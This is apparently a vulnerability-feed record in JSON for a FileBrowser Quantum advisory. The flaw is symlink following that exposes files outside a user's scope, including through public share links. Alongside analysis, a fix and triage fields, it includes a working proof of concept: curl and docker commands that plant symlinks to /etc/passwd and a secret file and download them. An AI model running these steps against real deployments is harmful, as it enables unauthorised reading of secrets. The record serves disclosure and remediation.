{"id":"CVE-2026-116682","kind":"vulnerability","aliases":["CVE-2026-116682","GHSA-mgqf-5mf5-prfj"],"related":[],"title":"FileBrowser: Symlink following escapes user scope allowing arbitrary file read outside the served directory","description":"## Summary\n\nFile read paths resolve symbolic links with `filepath.EvalSymlinks` and then operate on the resolved target without re-checking that the target still lies inside the user's source/scope. \n\nA symlink located inside a user's accessible directory that points outside the scope (for example to `/etc/passwd`, another tenant's directory, SSH keys, or container secrets) is followed transparently, and its contents are served through the normal download, preview, media, and OnlyOffice endpoints. Any authenticated user with download access can read files anywhere the server process can, whenever such a symlink is reachable in their scope. \n\nThe same symlink-following read path is used by the public share endpoints, which are authorized only by a share hash and not by any account, so when a public share exposes a directory that contains such a symlink, an unauthenticated attacker holding only the share link reads files outside the scope with no credential.\n\n## Details\n\n**1. Symlink resolution performs no containment check (`indexing/iteminfo/utils.go:110-119`)**\n\n```go\nfunc ResolveSymlinks(path string) (string, bool, error) {\n    resolvedPath, err := filepath.EvalSymlinks(path)   // follows the link to its real target\n    if err != nil {\n        return path, false, fmt.Errorf(\"could not resolve symlinks for %s: %v\", path, err)\n    }\n    info, err := os.Lstat(resolvedPath)\n    // ...\n    return resolvedPath, IsDirectory(info), nil         // returned with no scope validation\n}\n```\n\nThere is no comparison of `resolvedPath` against the index/scope root.\n\n**2. `GetRealPath` returns the resolved target unchecked (`indexing/indexingFiles.go:991-1008`)**\n\n```go\nabsolutePath, err := filepath.Abs(joinedPath)\n// ...\nrealPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath)   // escapes scope here\n// ...\nreturn realPath, isDir, err\n```\n\n`realPath` is then used by file handlers to open and serve the file. No caller re-validates that `realPath` is a descendant of the user's source root. (By contrast, the project did add containment for archive extraction via `symlinkTargetStaysUnderDest`, but that guard is specific to extraction and is not applied to this general read path.)\n\n**3. The read handlers request symlink following, including the unauthenticated public-share handlers (`http/resource.go:96,503`, `http/media.go:124`, `http/onlyOffice.go:133`, `http/public.go:279,441,494`)**\n\n```go\nFollowSymlinks: true,\n```\n\nAuthenticated download, preview, media-subtitle, and OnlyOffice read flows all set `FollowSymlinks: true`, and so do the public share handlers in `http/public.go`. The public download route is registered as `publicApi.HandleFunc(\"GET /resources/download\", withHashFile(publicDownloadHandler))` (`http/httpRouter.go:130`), where `withHashFile` authorizes by the share hash alone with no account, so the same escape is reachable with no authentication when a public share exposes a directory containing the symlink.\n\n## PoC\n\nConfirmed live on `gtstef/filebrowser:1.3.3-stable`. A symlink pointing outside the user's directory must exist inside it; here it is placed on the host volume, which is what happens whenever a bind-mounted directory contains symlinks.\n\n**1. Start a fresh container and seed a file outside the user's intended subtree.**\n```bash\ndocker rm -f fb-q-lab 2>/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1\necho \"ROOT_DB_PASSWORD=supersecret\" > /tmp/fb-q-lab/srv/secret-outside.txt\ndocker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable && sleep 8\nTARGET_URL=http://localhost:8090\n```\n\n**2. Place symlinks inside the served tree that point outside it.** One points at a host file (`/etc/passwd`), one at the file outside the user's subtree.\n```bash\ndocker exec fb-q-lab sh -c 'ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link'\n```\n\n### Vector 1: authenticated user (any account with download access)\n\n**3. Log in as the default admin** (the token is passed as the `auth` query parameter).\n```bash\nADMIN_TOKEN=$(curl -s -X POST \"$TARGET_URL/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d '\"')\n```\n\n**4. Download through the symlinks and read files from outside the scope.**\n```bash\ncurl -s \"$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN\" | head -1\ncurl -s \"$TARGET_URL/api/resources/download?file=/user1/secret_link&source=srv&auth=$ADMIN_TOKEN\"\n```\n\nObserved output:\n```\n[passwd_link] root:x:0:0:root:/root:/bin/sh\n[secret_link] ROOT_DB_PASSWORD=supersecret\n```\n\n### Vector 2: unauthenticated, via a public share (no account)\n\n**5. The owner creates a public share of the directory** (a normal use of the share feature). This is the only step that needs an account.\n```bash\nSHARE_HASH=$(curl -s -X POST \"$TARGET_URL/api/share?auth=$ADMIN_TOKEN\" \\\n  -H 'Content-Type: application/json' -d '{\"path\":\"/user1\",\"source\":\"srv\"}' \\\n  | python3 -c \"import sys,json;print(json.load(sys.stdin)['hash'])\")\n```\n\n**6. With only the public share hash and no credential, download through the symlink.**\n```bash\ncurl -s \"$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link\" | head -1\ncurl -s \"$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/secret_link\"\n```\n\nObserved output:\n```\n[passwd_link] root:x:0:0:root:/root:/bin/sh   (HTTP 200)\n[secret_link] ROOT_DB_PASSWORD=supersecret\n```\n\nBoth vectors follow each symlink to its target and return content from outside the served directory.\nVector 1 works for any scoped non-admin user confined to `/user1`.\nVector 2 needs no account at all, only the public share link, which is why the CVSS score uses `PR:N`.\n\n## Impact\n\n- **Arbitrary file read outside scope:** any authenticated user with download access can read any file the server process can access (host configuration, secrets, SSH keys, `/etc/passwd`, container service-account tokens, other tenants' files).\n- **Unauthenticated read via public shares:** because the public share download path follows symlinks and is authorized only by the share hash, an attacker with no account reads the same out-of-scope files using only a public share link to a directory that contains such a symlink. This is the `PR:N` worst case driving the score.\n- **Cross-tenant data exposure:** in multi-user deployments, one user reads other users' scoped files through a symlink.\n- **Broad sink coverage:** the same gap affects authenticated download, preview, media/subtitle, and OnlyOffice read flows and the public share handlers, all of which follow symlinks.\n- **Precondition:** a symlink pointing outside the scope must be reachable in the served directory (for the unauthenticated vector, inside a publicly shared directory). This is common where host directories are bind-mounted (the typical Docker deployment) or where scopes overlap shared storage.\n\n## Recommended Fix\n\nAfter resolving symlinks, verify the resolved real path is still contained within the user's source root, and reject otherwise:\n\n```go\n// indexing/indexingFiles.go, GetRealPath, after ResolveSymlinks:\nrootReal, _ := filepath.EvalSymlinks(idx.Path)\nrel, err := filepath.Rel(rootReal, realPath)\nif err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(os.PathSeparator)) {\n    return \"\", false, fmt.Errorf(\"resolved path escapes source scope\")\n}\n```\n\nApply the same containment check (or reuse the existing `symlinkTargetStaysUnderDest` logic) on every read path that sets `FollowSymlinks: true`. As a deployment-hardening option, add a setting to refuse to follow symlinks that leave the source root entirely.","summary":"FileBrowser Quantum follows symbolic links during file reads without checking that the target stays inside the shared root and the user's allowed scope. An authenticated user with download access, or anyone holding a public share link to a directory containing such a symlink, can read server files outside that scope.","severity":"high","cvss":8.6,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/gtsteffaniak/filebrowser/backend","fixed":["0.0.0-20260814233832-4126edeb07a0"],"affected":"< 0.0.0-20260814233832-4126edeb07a0","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-22","cwe-59","file-sharing","filebrowser-quantum","package","self-hosted"],"not_affected_if":["followsymlinks-disabled","no-symlinks-in-served-dirs","patched-version"],"how_to_check":"- Check the installed version with `filebrowser --version` or the admin UI; versions below `1.5.2-stable` or `2.0.1-beta` are exposed.\n- Look for `FollowSymlinks` enabled in the configuration and for symlinks inside served directories, for example `find /srv/files -type l`.\n- Review public share links for directories that contain symlinks.","fix":"- Upgrade FileBrowser Quantum to `1.5.2-stable` or `2.0.1-beta`.\n- Until upgraded, disable `FollowSymlinks` or remove symlinks that point outside the served root.\n- Rotate any secrets stored in files that a user or share link could have reached.","status":"open","published_at":"2026-10-27T18:17:36+00:00","first_seen_at":"2026-10-27T18:32:59+00:00","triaged_at":"2026-10-27T18:34:30+00:00","updated_at":"2026-10-27T21:09:21+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-10-27T18:34:30Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade FileBrowser Quantum to `1.5.2-stable` or `2.0.1-beta`.\n- Until upgraded, disable `FollowSymlinks` or remove symlinks that point outside the served root.\n- Rotate any secrets stored in files that a user or share link could have reached.","reach":"internet","title":"FileBrowser Quantum: symlinks let users read files outside their scope","impact":"medium","summary":"FileBrowser Quantum follows symbolic links during file reads without checking that the target stays inside the shared root and the user's allowed scope. An authenticated user with download access, or anyone holding a public share link to a directory containing such a symlink, can read server files outside that scope.","category":"package","nicknames":[],"who_cares":["self-hosted","filebrowser-quantum","file-sharing"],"confidence":0.7,"needs_auth":"unknown","worst_case":"server files outside the allowed scope become readable by attackers","analyst_note":"Confirm the affected version range and the exact config key for FollowSymlinks at https://nvd.nist.gov/vuln/detail/CVE-2026-116682 and the project's release notes.","how_to_check":"- Check the installed version with `filebrowser --version` or the admin UI; versions below `1.5.2-stable` or `2.0.1-beta` are exposed.\n- Look for `FollowSymlinks` enabled in the configuration and for symlinks inside served directories, for example `find /srv/files -type l`.\n- Review public share links for directories that contain symlinks.","needs_analyst":true,"not_affected_if":["patched-version","followsymlinks-disabled","no-symlinks-in-served-dirs"],"who_is_affected":"Deployments that run FileBrowser Quantum below the fixed versions with symlink following turned on, since that is what lets a link escape the allowed root. Instances that serve only directories without symlinks, or that keep symlink following disabled, are less exposed. Operators who run only the patched releases can skip it.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.000708,"input_tokens":3468,"output_tokens":722,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-1008':326C '-116682':17A,25A '-119':257C '-2026':16A,24A '-22':30B '-59':32B '/dev/null':559C '/etc/passwd':141C,612C,633C '/gtsteffaniak/filebrowser/backend':28A '/resources/download':461C '/srv':585C '/srv/secret-outside.txt':637C '/srv/user1/passwd_link':634C '/srv/user1/secret_link':638C '/tmp/fb-q-lab':562C '/tmp/fb-q-lab/srv':584C '/tmp/fb-q-lab/srv/secret-outside.txt':571C '/tmp/fb-q-lab/srv/user1':565C '1':248C,535C,640C '1.3.3':501C,587C '110':256C '124':419C '130':465C '133':421C '2':317C,558C,595C '279':423C '3':401C,648C '441':424C '494':425C '503':417C '5mf5':21A '8':590C '80':582C '8090':581C,594C '96':416C '991':325C 'absolutepath':328C,336C 'access':72B,131C,173C,647C 'account':217C,476C,644C 'add':378C 'allow':7A,65B 'alon':473C 'anoth':142C 'anyon':74B 'anywher':177C 'appli':395C 'arbitrari':8A 'archiv':381C 'attack':233C 'authent':68B,169C,429C,485C,641C 'author':207C,468C 'bash':550C,622C 'bind':530C 'bind-mount':529C 'bool':264C 'c':630C 'caller':358C 'check':52B,113C,254C 'comparison':310C 'confirm':497C 'contain':83B,149C,227C,253C,379C,493C,533C,539C 'content':156C 'contrast':374C 'could':284C 'credenti':246C 'cve':15A,23A 'cwe':29B,31B 'd':574C 'db':568C 'def':653C 'descend':366C 'detail':247C 'directori':14A,82B,132C,145C,225C,492C,510C,532C 'docker':551C,572C,623C 'download':71B,162C,172C,430C,454C,646C 'echo':566C 'endpoint':167C,204C 'err':267C,278C,292C,294C,329C,334C,343C 'error':265C 'escap':4A,337C,480C 'exampl':139C 'exec':624C 'exist':512C 'expos':223C,490C 'extract':382C,391C 'f':553C 'fals':282C 'fb':555C,577C,626C 'fb-q-lab':554C,576C,625C 'file':9A,34B,49B,90B,95C,176C,240C,349C,356C,543C,611C,616C 'file-shar':33B 'filebrows':1A,37B,43B 'filebrowser-quantum':36B 'filepath.abs':330C 'filepath.evalsymlinks':102C,268C 'flow':438C 'fmt.errorf':283C 'follow':3A,45B,152C,195C,270C,407C 'followsymlink':427C,441C 'fresh':538C 'func':259C 'general':398C 'get':460C 'getrealpath':318C 'ghsa':19A 'ghsa-mgqf-5mf5-prfj':18A 'github.com':27A 'github.com/gtsteffaniak/filebrowser/backend':26A 'go':258C,327C,426C 'gtstef/filebrowser':500C,586C 'guard':387C 'handler':350C,404C,414C,449C 'happen':526C 'hash':212C,472C 'hold':75B,234C 'host':42B,521C,610C 'http/httprouter.go':464C 'http/media.go':418C 'http/onlyoffice.go':420C 'http/public.go':422C,451C 'http/resource.go':415C 'includ':408C 'index/scope':315C 'indexing/indexingfiles.go':324C 'indexing/iteminfo/utils.go':255C 'info':293C,300C 'insid':57B,119C,127C,513C,598C 'intend':548C 'isdir':333C,342C 'isdirectori':299C 'iteminfo.resolvesymlinks':335C 'joinedpath':331C 'key':147C 'lab':557C,579C,628C 'lie':118C 'link':47B,79B,100C,238C,272C 'live':498C 'ln':631C,635C 'localhost':593C 'locat':126C 'log':649C 'media':164C,433C 'media-subtitl':432C 'mgqf':20A 'mkdir':563C 'mount':531C 'must':511C 'name':575C 'nil':279C,301C 'normal':161C 'one':606C,613C 'onlyoffic':166C,436C 'open':352C 'oper':105C 'os.lstat':295C 'outsid':11A,91B,135C,241C,506C,544C,604C,617C 'p':564C,580C 'packag':39B 'password':569C 'path':97C,197C,261C,269C,281C,291C,400C 'perform':251C 'place':518C,596C 'poc':496C 'point':134C,505C,603C,607C 'preview':163C,431C 'prfj':22A 'process':180C 'project':376C 'public':77B,202C,221C,412C,447C,453C,488C 'public-shar':411C 'publicapi.handlefunc':459C 'publicdownloadhandl':463C 'q':556C,578C,627C 'quantum':38B,44B 're':112C,360C 're-check':111C 're-valid':359C 'reachabl':187C,482C 'read':10A,50B,88B,96C,175C,196C,239C,399C,403C,437C 'real':275C 'realpath':332C,341C,344C,363C 'regist':457C 'request':405C 'resolut':250C 'resolv':98C,108C,286C,321C 'resolvedpath':266C,296C,298C,312C 'resolvesymlink':260C 'return':280C,297C,302C,319C,340C 'rf':561C 'rm':552C,560C 'root':60B,316C,372C,567C 'rout':455C 'run':573C 'scope':6A,66B,93B,137C,190C,243C,305C,338C 'secret':150C 'seed':541C 'self':41B 'self-host':40B 'serv':13A,158C,354C,600C 'server':89B,179C 'set':440C 'sf':632C,636C 'sh':629C 'share':35B,59B,78B,203C,211C,222C,237C,413C,448C,471C,489C 'sleep':589C 'sourc':371C 'source/scope':123C 'specif':389C 'ssh':146C 'stabl':502C,588C 'start':536C 'stay':56B 'still':117C 'string':262C,263C 'subtitl':434C 'subtre':549C,621C 'summari':94C 'supersecret':570C 'symbol':46B,99C 'symlink':2A,86B,125C,185C,194C,230C,249C,287C,406C,495C,504C,534C,597C 'symlink-follow':193C 'symlinktargetstaysunderdest':384C 'target':55B,109C,116C,276C,322C,591C 'tenant':143C 'transpar':153C 'tree':601C 'true':428C,442C 'unauthent':232C,410C 'uncheck':323C 'url':592C 'use':199C,347C 'user':5A,63B,69B,121C,129C,170C,369C,508C,546C,619C,642C 'v':290C,583C 'valid':306C,361C 'vector':639C 'via':383C 'volum':522C 'whenev':182C,527C 'withhashfil':462C,467C 'without':51B,110C","nicknames":[],"mitigations":[],"who_affected":"Deployments that run FileBrowser Quantum below the fixed versions with symlink following turned on, since that is what lets a link escape the allowed root. Instances that serve only directories without symlinks, or that keep symlink following disabled, are less exposed. Operators who run only the patched releases can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-27T18:17:36+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"nvd","external_id":"CVE-2026-116682","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116682","severity":null,"published_at":"2026-10-27T18:17:36+00:00","modified_at":"2026-10-27T18:17:36+00:00","first_seen_at":"2026-10-27T18:32:59+00:00","fetched_at":"2026-10-27T18:32:59+00:00","note":null},{"source":"ghsa","external_id":"GHSA-mgqf-5mf5-prfj","url":"https://github.com/advisories/GHSA-mgqf-5mf5-prfj","severity":"high","published_at":"2026-10-27T21:04:40+00:00","modified_at":"2026-10-27T21:04:41+00:00","first_seen_at":"2026-10-27T21:09:21+00:00","fetched_at":"2026-10-27T21:09:21+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}